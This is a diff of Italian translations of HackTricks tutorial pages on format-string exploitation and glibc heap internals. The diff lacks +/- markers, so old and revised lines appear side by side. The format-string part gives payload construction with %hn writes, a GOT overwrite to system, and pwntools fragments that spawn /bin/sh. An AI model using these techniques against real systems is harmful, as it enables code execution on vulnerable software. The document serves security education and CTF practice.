Nota che l'attaccante controlla il `printf` **parametro, il che significa fondamentalmente che** il suo input sarà nello stack quando `printf` viene chiamato, il che significa che potrebbe scrivere indirizzi di memoria specifici nello stack.
> [!CAUTION]
> Un attaccante che controlla questo input, sarà in grado di **aggiungere indirizzi arbitrari nello stack e far accedere `printf` a essi**. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
> Un attaccante che controlla questo input sarà in grado di **aggiungere indirizzi arbitrari nello stack e far accedere `printf` a essi**. Nella sezione successiva verrà spiegato come utilizzare questo comportamento.
## **Lettura Arbitraria**
@ -89,9 +89,9 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
> [!CAUTION]
> Nota che non puoi mettere l'indirizzo 0x8048000 all'inizio dell'input perché la stringa verrà tagliata a 0x00 alla fine di quell'indirizzo.
### Trova l'offset
### Trova offset
Per trovare l'offset per il tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A's`.
Per trovare l'offset per il tuo input puoi inviare 4 o 8 byte (`0x41414141`) seguiti da **`%1$x`** e **aumentare** il valore fino a recuperare le `A`.
<details>
@ -131,11 +131,11 @@ p.close()
Le letture arbitrarie possono essere utili per:
- **Dump** il **binary** dalla memoria
- **Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili** (come canari, chiavi di crittografia o password personalizzate come in questa [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
- **Accedere a parti specifiche della memoria dove sono memorizzate informazioni sensibili** (come canaries, chiavi di crittografia o password personalizzate come in questa [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
## **Scrittura Arbitraria**
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \<num> nello stack. Se un attaccante può scrivere quanti più caratteri vuole con printf, sarà in grado di far scrivere a **`%<num>$n`** un numero arbitrario in un indirizzo arbitrario.
Il formatter **`%<num>$n`** **scrive** il **numero di byte scritti** nell'**indirizzo indicato** nel parametro \<num> nello stack. Se un attaccante può scrivere quanti più caratteri possibile con printf, sarà in grado di far scrivere a **`%<num>$n`** un numero arbitrario in un indirizzo arbitrario.
Fortunatamente, per scrivere il numero 9999, non è necessario aggiungere 9999 "A" all'input; per farlo è possibile utilizzare il formatter **`%.<num-write>%<num>$n`** per scrivere il numero **`<num-write>`** nell'**indirizzo puntato dalla posizione `num`**.
```bash
@ -146,7 +146,8 @@ Tuttavia, nota che di solito per scrivere un indirizzo come `0x08049724` (che è
Pertanto, questa vulnerabilità consente di **scrivere qualsiasi cosa in qualsiasi indirizzo (scrittura arbitraria).**
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata successivamente. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:
In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **funzione** nella tabella **GOT** che verrà chiamata in seguito. Anche se questo potrebbe abusare di altre tecniche di scrittura arbitraria per eseguire:
{{#ref}}
../arbitrary-write-2-exec/
@ -155,8 +156,8 @@ In questo esempio, l'obiettivo sarà **sovrascrivere** l'**indirizzo** di una **
Stiamo per **sovrascrivere** una **funzione** che **riceve** i suoi **argomenti** dall'**utente** e **puntarla** alla **funzione** **`system`**.\
Come accennato, per scrivere l'indirizzo, di solito sono necessari 2 passaggi: **prima scrivi 2Byte** dell'indirizzo e poi gli altri 2. Per farlo si usa **`$hn`**.
- **HOB** è chiamato per i 2 byte più alti dell'indirizzo
- **LOB** è chiamato per i 2 byte più bassi dell'indirizzo
- **HOB** si riferisce ai 2 byte più alti dell'indirizzo
- **LOB** si riferisce ai 2 byte più bassi dell'indirizzo
Poi, a causa di come funziona la stringa di formato, devi **scrivere prima il più piccolo** di \[HOB, LOB] e poi l'altro.
@ -174,6 +175,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
Puoi trovare un **template** per preparare un exploit per questo tipo di vulnerabilità in:
{{#ref}}
format-strings-template.md
{{#endref}}
@ -197,20 +199,20 @@ p.sendline('/bin/sh')
p.interactive()
```
## Stringhe di Formato per BOF
## Format Strings to BOF
È possibile abusare delle azioni di scrittura di una vulnerabilità di stringa di formato per **scrivere negli indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
È possibile abusare delle azioni di scrittura di una vulnerabilità di formato stringa per **scrivere negli indirizzi dello stack** e sfruttare un tipo di vulnerabilità di **buffer overflow**.
## Altri Esempi e Riferimenti
## Other Examples & References
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, uso base delle stringhe di formato per rivelare il flag dallo stack (non è necessario alterare il flusso di esecuzione)
- 32 bit, no relro, no canary, nx, no pie, uso base delle format strings per rivelare il flag dallo stack (non è necessario alterare il flusso di esecuzione)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, stringa di formato per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
- 32 bit, relro, no canary, nx, no pie, format string per sovrascrivere l'indirizzo `fflush` con la funzione win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, stringa di formato per scrivere un indirizzo dentro main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con input dell'utente e puntando a `system`, eseguirà i comandi passati.
- 32 bit, relro, no canary, nx, no pie, format string per scrivere un indirizzo all'interno di main in `.fini_array` (così il flusso torna indietro un'altra volta) e scrivere l'indirizzo a `system` nella tabella GOT puntando a `strlen`. Quando il flusso torna a main, `strlen` viene eseguito con input dell'utente e puntando a `system`, eseguirà i comandi passati.
{{#include ../../banners/hacktricks-training.md}}

27
src/binary-exploitation/libc-heap/README.md
View File

@ -4,7 +4,7 @@
## Heap Basics
L'heap è fondamentalmente il luogo dove un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**.
L'heap è fondamentalmente il luogo in cui un programma può memorizzare dati quando richiede dati chiamando funzioni come **`malloc`**, `calloc`... Inoltre, quando questa memoria non è più necessaria, viene resa disponibile chiamando la funzione **`free`**.
Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (controlla la sezione `[heap]`):
@ -12,7 +12,7 @@ Come mostrato, si trova subito dopo dove il binario viene caricato in memoria (c
### Basic Chunk Allocation
Quando alcuni dati vengono richiesti per essere memorizzati nell'heap, viene allocato uno spazio dell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza rendere complicato trovare dove si trova ciascun chunk. A questo scopo, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ciascun chunk utilizzato/libero.
Quando alcuni dati vengono richiesti per essere memorizzati nell'heap, viene allocato uno spazio dell'heap per essi. Questo spazio apparterrà a un bin e solo i dati richiesti + lo spazio degli header del bin + l'offset della dimensione minima del bin saranno riservati per il chunk. L'obiettivo è riservare la minima memoria possibile senza rendere complicato trovare dove si trova ciascun chunk. A tal fine, vengono utilizzate le informazioni sui chunk di metadata per sapere dove si trova ciascun chunk utilizzato/libero.
Ci sono diversi modi per riservare lo spazio, principalmente a seconda del bin utilizzato, ma una metodologia generale è la seguente:
@ -31,19 +31,19 @@ Nelle applicazioni **multithreaded**, il gestore dell'heap deve prevenire **race
Per affrontare questo problema, l'allocatore di heap ptmalloc2 ha introdotto "arenas", dove **ogni arena** funge da **heap separato** con le proprie **strutture** di dati e **mutex**, consentendo a più thread di eseguire operazioni sull'heap senza interferire tra loro, purché utilizzino arene diverse.
L'arena "principale" predefinita gestisce le operazioni sull'heap per le applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ogni nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per i sistemi a 32 bit e 8 volte per i sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a una potenziale contesa.
L'arena "principale" predefinita gestisce le operazioni sull'heap per le applicazioni a thread singolo. Quando vengono aggiunti **nuovi thread**, il gestore dell'heap assegna loro **arene secondarie** per ridurre la contesa. Prima tenta di collegare ciascun nuovo thread a un'arena non utilizzata, creando nuove arene se necessario, fino a un limite di 2 volte il numero di core CPU per i sistemi a 32 bit e 8 volte per i sistemi a 64 bit. Una volta raggiunto il limite, **i thread devono condividere le arene**, portando a una potenziale contesa.
A differenza dell'arena principale, che si espande utilizzando la chiamata di sistema `brk`, le arene secondarie creano "subheaps" utilizzando `mmap` e `mprotect` per simulare il comportamento dell'heap, consentendo flessibilità nella gestione della memoria per operazioni multithreaded.
### Subheaps
I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni di heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
I subheaps servono come riserve di memoria per le arene secondarie nelle applicazioni multithreaded, consentendo loro di crescere e gestire le proprie regioni heap separatamente dall'heap principale. Ecco come i subheaps differiscono dall'heap iniziale e come operano:
1. **Heap Iniziale vs. Subheaps**:
- L'heap iniziale si trova direttamente dopo il binario del programma in memoria e si espande utilizzando la chiamata di sistema `sbrk`.
- I subheaps, utilizzati dalle arene secondarie, vengono creati tramite `mmap`, una chiamata di sistema che mappa una regione di memoria specificata.
2. **Riservazione di Memoria con `mmap`**:
- Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riservazione non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare.
2. **Riserva di Memoria con `mmap`**:
- Quando il gestore dell'heap crea un subheap, riserva un grande blocco di memoria tramite `mmap`. Questa riserva non alloca immediatamente memoria; designa semplicemente una regione che altri processi di sistema o allocazioni non dovrebbero utilizzare.
- Per impostazione predefinita, la dimensione riservata per un subheap è di 1 MB per i processi a 32 bit e 64 MB per i processi a 64 bit.
3. **Espansione Graduale con `mprotect`**:
- La regione di memoria riservata è inizialmente contrassegnata come `PROT_NONE`, indicando che il kernel non ha bisogno di allocare memoria fisica per questo spazio ancora.
@ -76,9 +76,9 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
È importante notare che la **struttura `malloc_state` dell'arena principale** è una **variabile globale nella libc** (quindi si trova nello spazio di memoria della libc).\
Nel caso delle **strutture `malloc_state`** degli heap dei thread, esse si trovano **all'interno del "heap" del proprio thread**.
Ci sono alcune cose interessanti da notare su questa struttura (vedi il codice C qui sotto):
Ci sono alcune cose interessanti da notare da questa struttura (vedi il codice C qui sotto):
- `__libc_lock_define (, mutex);` È presente per garantire che questa struttura dell'heap sia accessibile da 1 thread alla volta
- `__libc_lock_define (, mutex);` Serve a garantire che questa struttura dell'heap sia accessibile da 1 thread alla volta
- Flags:
- ```c
@ -90,11 +90,11 @@ Ci sono alcune cose interessanti da notare su questa struttura (vedi il codice C
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è perché l'indice 0 non è utilizzato)
- Il `mchunkptr bins[NBINS * 2 - 2];` contiene **puntatori** ai **primi e ultimi chunk** dei **bins** piccoli, grandi e non ordinati (il -2 è dovuto al fatto che l'indice 0 non è utilizzato)
- Pertanto, il **primo chunk** di questi bins avrà un **puntatore all'indietro a questa struttura** e l'**ultimo chunk** di questi bins avrà un **puntatore in avanti** a questa struttura. Il che significa fondamentalmente che se puoi **leakare questi indirizzi nell'arena principale** avrai un puntatore alla struttura nella **libc**.
- Le strutture `struct malloc_state *next;` e `struct malloc_state *next_free;` sono liste collegate di arene
- Il chunk `top` è l'ultimo "chunk", che è fondamentalmente **tutto lo spazio rimanente dell'heap**. Una volta che il chunk top è "vuoto", l'heap è completamente utilizzato e deve richiedere più spazio.
- Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte del puntatore rimanente è posizionata qui.
- Il chunk `last reminder` proviene da casi in cui un chunk di dimensione esatta non è disponibile e quindi un chunk più grande viene diviso, una parte rimanente del puntatore è collocata qui.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
@ -183,7 +183,7 @@ Inoltre, quando disponibile, i dati dell'utente vengono utilizzati per contenere
> [!TIP]
> Nota come collegare la lista in questo modo previene la necessità di avere un array dove ogni singolo chunk è registrato.
### Puntatori Chunk
### Puntatori ai Chunk
Quando viene utilizzato malloc, viene restituito un puntatore al contenuto che può essere scritto (subito dopo le intestazioni), tuttavia, quando si gestiscono i chunk, è necessario un puntatore all'inizio delle intestazioni (metadati).\
Per queste conversioni vengono utilizzate queste funzioni:
@ -263,7 +263,7 @@ return request2size (req);
```
Nota che per calcolare lo spazio totale necessario viene aggiunto `SIZE_SZ` solo 1 volta perché il campo `prev_size` può essere utilizzato per memorizzare dati, quindi è necessario solo l'intestazione iniziale.
### Ottieni dati del chunk e altera i metadati
### Ottieni dati del chunk e modifica i metadati
Queste funzioni funzionano ricevendo un puntatore a un chunk e sono utili per controllare/impostare i metadati:
@ -417,7 +417,7 @@ Imposta un breakpoint alla fine della funzione principale e scopriamo dove sono
È possibile vedere che la stringa panda è stata memorizzata a `0xaaaaaaac12a0` (che era l'indirizzo fornito come risposta da malloc all'interno di `x0`). Controllando 0x10 byte prima, è possibile vedere che il `0x0` rappresenta che il **chunk precedente non è utilizzato** (lunghezza 0) e che la lunghezza di questo chunk è `0x21`.
Gli spazi extra riservati (0x21-0x10=0x11) derivano dagli **header aggiunti** (0x10) e 0x1 non significa che è stato riservato 0x21B, ma gli ultimi 3 bit della lunghezza dell'attuale header hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata a 16 byte (in macchine a 64 bit), questi bit in realtà non verranno mai utilizzati dal numero di lunghezza.
Gli spazi extra riservati (0x21-0x10=0x11) provengono dagli **header aggiunti** (0x10) e 0x1 non significa che è stato riservato 0x21B, ma gli ultimi 3 bit della lunghezza dell'attuale intestazione hanno alcuni significati speciali. Poiché la lunghezza è sempre allineata a 16 byte (su macchine a 64 bit), questi bit in realtà non verranno mai utilizzati dal numero di lunghezza.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
@ -504,5 +504,4 @@ heap-memory-functions/heap-functions-security-checks.md
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
{{#include ../../banners/hacktricks-training.md}}

47
src/binary-exploitation/libc-heap/bins-and-memory-allocations.md
View File

@ -2,22 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
## Informazioni di Base
## Basic Information
Per migliorare l'efficienza su come i chunk sono memorizzati, ogni chunk non è solo in una lista collegata, ma ci sono diversi tipi. Questi sono i bins e ci sono 5 tipi di bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins per thread.
Per migliorare l'efficienza nel modo in cui i chunk sono memorizzati, ogni chunk non è solo in una lista collegata, ma ci sono diversi tipi. Questi sono i bins e ci sono 5 tipi di bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins per thread.
L'indirizzo iniziale di ciascun unsorted, small e large bins è all'interno dello stesso array. L'indice 0 è inutilizzato, 1 è l'unsorted bin, i bins 2-64 sono small bins e i bins 65-127 sono large bins.
### Tcache (Cache per Thread) Bins
### Tcache (Per-Thread Cache) Bins
Anche se i thread cercano di avere il proprio heap (vedi [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), c'è la possibilità che un processo con molti thread (come un server web) **condividerà l'heap con altri thread**. In questo caso, la soluzione principale è l'uso di **lockers**, che potrebbero **rallentare significativamente i thread**.
Pertanto, un tcache è simile a un fast bin per thread nel modo in cui è una **singola lista collegata** che non unisce i chunk. Ogni thread ha **64 tcache bins collegati singolarmente**. Ogni bin può avere un massimo di [7 chunk della stessa dimensione](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) che vanno da [24 a 1032B su sistemi a 64 bit e da 12 a 516B su sistemi a 32 bit](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**Quando un thread libera** un chunk, **se non è troppo grande** per essere allocato nel tcache e il rispettivo tcache bin **non è pieno** (già 7 chunk), **verrà allocato lì**. Se non può andare nel tcache, dovrà aspettare il lock dell'heap per poter eseguire l'operazione di liberazione globalmente.
**Quando un thread libera** un chunk, **se non è troppo grande** per essere allocato nel tcache e il rispettivo tcache bin **non è pieno** (già 7 chunk), **verrà allocato lì**. Se non può andare nel tcache, dovrà aspettare il blocco dell'heap per poter eseguire l'operazione di liberazione a livello globale.
Quando un **chunk è allocato**, se c'è un chunk libero della dimensione necessaria nel **Tcache lo utilizzerà**, altrimenti dovrà aspettare il lock dell'heap per poter trovarne uno nei bins globali o crearne uno nuovo.\
C'è anche un'ottimizzazione, in questo caso, mentre ha il lock dell'heap, il thread **riempirà il suo Tcache con chunk dell'heap (7) della dimensione richiesta**, così nel caso ne avesse bisogno di più, li troverà nel Tcache.
Quando un **chunk è allocato**, se c'è un chunk libero della dimensione necessaria nel **Tcache lo utilizzerà**, altrimenti, dovrà aspettare il blocco dell'heap per poter trovarne uno nei bins globali o crearne uno nuovo.\
C'è anche un'ottimizzazione, in questo caso, mentre ha il blocco dell'heap, il thread **riempirà il suo Tcache con chunk dell'heap (7) della dimensione richiesta**, così nel caso ne avesse bisogno di più, li troverà nel Tcache.
<details>
@ -36,7 +36,7 @@ free(chunk);
return 0;
}
```
Compilalo e debugga con un breakpoint nell'istruzione ret della funzione main. Poi con gef puoi vedere il tcache bin in uso:
Compilalo e debugga con un breakpoint nell'operazione ret dalla funzione main. Poi con gef puoi vedere il tcache bin in uso:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -149,23 +149,23 @@ memset (tcache, 0, sizeof (tcache_perthread_struct));
#### Indici Tcache
Il tcache ha diversi bin a seconda della dimensione e i puntatori iniziali al **primo chunk di ciascun indice e la quantità di chunk per indice si trovano all'interno di un chunk**. Questo significa che localizzando il chunk con queste informazioni (di solito il primo), è possibile trovare tutti i punti iniziali del tcache e la quantità di chunk Tcache.
Il tcache ha diversi bin a seconda della dimensione e i puntatori iniziali al **primo chunk di ciascun indice e la quantità di chunk per indice sono situati all'interno di un chunk**. Questo significa che localizzando il chunk con queste informazioni (di solito il primo), è possibile trovare tutti i punti iniziali del tcache e la quantità di chunk Tcache.
### Fast bins
I fast bins sono progettati per **accelerare l'allocazione di memoria per piccoli chunk** mantenendo i chunk recentemente liberati in una struttura di accesso rapido. Questi bin utilizzano un approccio Last-In, First-Out (LIFO), il che significa che il **chunk liberato più recentemente è il primo** a essere riutilizzato quando c'è una nuova richiesta di allocazione. Questo comportamento è vantaggioso per la velocità, poiché è più veloce inserire e rimuovere dalla cima di uno stack (LIFO) rispetto a una coda (FIFO).
I fast bins sono progettati per **accelerare l'allocazione della memoria per chunk piccoli** mantenendo i chunk recentemente liberati in una struttura di accesso rapido. Questi bin utilizzano un approccio Last-In, First-Out (LIFO), il che significa che il **chunk liberato più di recente è il primo** a essere riutilizzato quando c'è una nuova richiesta di allocazione. Questo comportamento è vantaggioso per la velocità, poiché è più veloce inserire e rimuovere dalla cima di uno stack (LIFO) rispetto a una coda (FIFO).
Inoltre, **i fast bins utilizzano liste collegate semplici**, non doppie, il che migliora ulteriormente la velocità. Poiché i chunk nei fast bins non vengono uniti con i vicini, non c'è bisogno di una struttura complessa che consenta la rimozione dal mezzo. Una lista collegata semplice è più semplice e veloce per queste operazioni.
Fondamentalmente, ciò che accade qui è che l'intestazione (il puntatore al primo chunk da controllare) punta sempre all'ultimo chunk liberato di quella dimensione. Quindi:
- Quando un nuovo chunk viene allocato di quella dimensione, l'intestazione punta a un chunk libero da utilizzare. Poiché questo chunk libero punta al successivo da utilizzare, questo indirizzo viene memorizzato nell'intestazione in modo che la successiva allocazione sappia dove ottenere un chunk disponibile
- Quando un nuovo chunk viene allocato di quella dimensione, l'intestazione punta a un chunk libero da utilizzare. Poiché questo chunk libero punta al successivo da utilizzare, questo indirizzo viene memorizzato nell'intestazione in modo che la prossima allocazione sappia dove ottenere un chunk disponibile
- Quando un chunk viene liberato, il chunk libero salverà l'indirizzo del chunk attualmente disponibile e l'indirizzo di questo chunk appena liberato verrà messo nell'intestazione
La dimensione massima di una lista collegata è `0x80` e sono organizzate in modo che un chunk di dimensione `0x20` si trovi nell'indice `0`, un chunk di dimensione `0x30` si troverebbe nell'indice `1`...
La dimensione massima di una lista collegata è `0x80` e sono organizzate in modo che un chunk di dimensione `0x20` sarà nell'indice `0`, un chunk di dimensione `0x30` sarebbe nell'indice `1`...
> [!CAUTION]
> I chunk nei fast bins non sono impostati come disponibili, quindi vengono mantenuti come chunk di fast bin per un certo periodo invece di poter essere uniti con altri chunk liberi circostanti.
> I chunk nei fast bins non sono impostati come disponibili, quindi vengono mantenuti come chunk di fast bin per un certo tempo invece di poter essere uniti con altri chunk liberi circostanti.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
@ -244,9 +244,9 @@ Fastbins[idx=1, size=0x30] 0x00
### Unsorted bin
Il bin non ordinato è una **cache** utilizzata dal gestore della memoria per rendere più veloce l'allocazione della memoria. Ecco come funziona: Quando un programma libera un chunk, e se questo chunk non può essere allocato in un tcache o fast bin e non collide con il top chunk, il gestore della memoria non lo mette immediatamente in un bin specifico piccolo o grande. Invece, prima cerca di **fonderlo con eventuali chunk liberi adiacenti** per creare un blocco più grande di memoria libera. Poi, posiziona questo nuovo chunk in un bin generale chiamato "unsorted bin."
Il bin non ordinato è un **cache** utilizzato dal gestore della memoria per rendere più veloce l'allocazione della memoria. Ecco come funziona: Quando un programma libera un chunk, e se questo chunk non può essere allocato in un tcache o fast bin e non collide con il top chunk, il gestore della memoria non lo mette immediatamente in un bin specifico piccolo o grande. Invece, prima cerca di **fonderlo con eventuali chunk liberi adiacenti** per creare un blocco più grande di memoria libera. Poi, posiziona questo nuovo chunk in un bin generale chiamato "unsorted bin."
Quando un programma **richiede memoria**, il gestore della memoria **controlla il bin non ordinato** per vedere se c'è un chunk di dimensioni sufficienti. Se ne trova uno, lo utilizza immediatamente. Se non trova un chunk adatto nel bin non ordinato, sposta tutti i chunk in questa lista nei loro bin corrispondenti, sia piccoli che grandi, in base alle loro dimensioni.
Quando un programma **richiede memoria**, il gestore della memoria **controlla il bin non ordinato** per vedere se c'è un chunk di dimensioni sufficienti. Se ne trova uno, lo utilizza immediatamente. Se non trova un chunk adatto nel bin non ordinato, sposta tutti i chunk in questa lista nei loro bin corrispondenti, sia piccoli che grandi, in base alla loro dimensione.
Nota che se un chunk più grande viene diviso in 2 metà e il resto è più grande di MINSIZE, verrà rimesso nel bin non ordinato.
@ -287,7 +287,7 @@ return 0;
```
Nota come allochiamo e liberiamo 9 chunk della stessa dimensione in modo che **riempiano il tcache** e l'ottavo è memorizzato nel bin non ordinato perché è **troppo grande per il fastbin** e il nono non è liberato, quindi il nono e l'ottavo **non vengono uniti con il chunk superiore**.
Compilalo e debuggalo con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin del tcache è pieno e un chunk è nel bin non ordinato:
Compilalo e debugga con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel bin non ordinato:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -311,7 +311,7 @@ Fastbins[idx=6, size=0x80] 0x00
I piccoli bin sono più veloci dei grandi bin ma più lenti dei fast bin.
Ogni bin dei 62 avrà **chunk della stessa dimensione**: 16, 24, ... (con una dimensione massima di 504 byte in 32 bit e 1024 in 64 bit). Questo aiuta nella velocità di trovare il bin dove dovrebbe essere allocato uno spazio e nell'inserimento e rimozione di voci in queste liste.
Ogni bin dei 62 avrà **chunk della stessa dimensione**: 16, 24, ... (con una dimensione massima di 504 byte in 32 bit e 1024 in 64 bit). Questo aiuta nella velocità nel trovare il bin dove dovrebbe essere allocato uno spazio e nell'inserimento e rimozione di voci in queste liste.
Questo è come viene calcolata la dimensione del piccolo bin in base all'indice del bin:
@ -338,7 +338,7 @@ Funzione per scegliere tra piccoli e grandi bin:
```
<details>
<summary>Aggiungi un piccolo esempio di chunk</summary>
<summary>Aggiungi un piccolo esempio</summary>
```c
#include <stdlib.h>
#include <stdio.h>
@ -368,9 +368,9 @@ chunks[9] = malloc(0x110);
return 0;
}
```
Nota come allochiamo e liberiamo 9 chunk della stessa dimensione in modo che **riempiano il tcache** e l'ottavo è memorizzato nel bin non ordinato perché è **troppo grande per il fastbin** e il nono non è liberato, quindi il nono e l'ottavo **non vengono uniti con il chunk superiore**. Poi allochiamo un chunk più grande di 0x110 che fa **andare il chunk nel bin non ordinato nel small bin**.
Nota come allochiamo e liberiamo 9 chunk della stessa dimensione in modo che **riempiano il tcache** e l'ottavo è memorizzato nel bin non ordinato perché è **troppo grande per il fastbin** e il nono non è liberato, quindi il nono e l'ottavo **non vengono uniti con il chunk superiore**. Poi allochiamo un chunk più grande di 0x110 che fa sì che **il chunk nel bin non ordinato vada nel bin piccolo**.
Compilalo e debuggalo con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel small bin:
Compilalo e debugga con un breakpoint nell'operazione `ret` dalla funzione `main`. Poi con `gef` puoi vedere che il bin tcache è pieno e un chunk è nel bin piccolo:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -394,7 +394,7 @@ Fastbins[idx=6, size=0x80] 0x00
### Grandi bin
A differenza dei piccoli bin, che gestiscono chunk di dimensioni fisse, ogni **grande bin gestisce un intervallo di dimensioni dei chunk**. Questo è più flessibile, permettendo al sistema di accogliere **varie dimensioni** senza la necessità di un bin separato per ogni dimensione.
A differenza dei piccoli bin, che gestiscono chunk di dimensioni fisse, ogni **grande bin gestisce un intervallo di dimensioni dei chunk**. Questo è più flessibile, permettendo al sistema di accogliere **varie dimensioni** senza necessità di un bin separato per ogni dimensione.
In un allocatore di memoria, i grandi bin iniziano dove finiscono i piccoli bin. Gli intervalli per i grandi bin crescono progressivamente, il che significa che il primo bin potrebbe coprire chunk da 512 a 576 byte, mentre il successivo copre da 576 a 640 byte. Questo schema continua, con il bin più grande che contiene tutti i chunk sopra 1MB.
@ -451,7 +451,7 @@ Ci sono:
<details>
<summary>Aggiungi un esempio di grande dimensione</summary>
<summary>Aggiungi un esempio di grande blocco</summary>
```c
#include <stdlib.h>
#include <stdio.h>
@ -554,7 +554,7 @@ Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_
Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk
```
Dove si può vedere che il chunk superiore si trova all'indirizzo `0xaaaaaaac1ae0`. Non è una sorpresa perché l'ultimo chunk allocato era in `0xaaaaaaac12a0` con una dimensione di `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\
È anche possibile vedere la lunghezza del Top chunk nell'intestazione del suo chunk:
È anche possibile vedere la lunghezza del chunk superiore nell'intestazione del suo chunk:
```bash
